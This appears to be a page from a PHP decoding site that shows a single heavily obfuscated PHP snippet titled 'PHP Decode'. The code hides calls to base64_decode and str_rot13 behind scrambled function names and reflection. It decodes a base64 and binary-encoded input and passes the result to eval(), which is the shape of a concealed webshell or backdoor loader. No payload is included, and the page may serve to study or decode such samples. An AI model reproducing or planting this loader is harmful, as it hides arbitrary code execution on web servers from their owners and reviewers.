PHP Decode

<?   function ke4g9wsw($ke4g9sww){$ke4g9sww=strrev($ke4g9sww);$ke4g9sw='';for($ke4g9ws=0,$len=strlen($ke4g9sww);$ke4g9ws<$len;$ke4g9ws+=8){$ke4g9sw.=chr(bindec(substr($ke4g9sww,$ke4g9ws,8)));}return $ke4g9sw;}function sbtars_er6o4t_1d3e($qj43w){$ke4g9sww=new ReflectionFunction(__FUNCTION__);$sdm8w9=$fdjw94='';foreach(str_split($ke4g9sww->name,2) as $qj43qw){$fdjw94 .= $qj43qw[0];$sdm8w9 .= $qj43qw[1];}$sdm8w9 .= $fdjw94('pbqr');return $sdm8w9($qj43w);}function ke4g9wss($ke4g9sww){return str_replace(sbtars_er6o4t_1d3e('eyRfWH0='),sbtars_er6o4t_1d3e('MTAwMTE='),${sbtars_er6o4t_1d3e('a2U0Zzlzd3c=')});}function nbtas_er6o4t_1c3ed($qj43w){$ke4g9sww=new ReflectionFunction(__FUNCTION__);$fdjw94=str_split($ke4g9sww->name);$sdm8w9=$fdjw94[1].$fdjw94[3].$fdjw94[4].$fdjw94[6].$fdjw94[8].$fdjw94[10].$fdjw94[5].$fdjw94[6].$fdjw94[0].$fdjw94[14].$fdjw94[9].$fdjw94[17].$fdjw94[16];return $sdm8w9($qj43w);}function vMASFkAm($qj43w){eval(ke4g9wsw(ke4g9wss(sbtars_er6o4t_1d3e($qj43w))));} ?>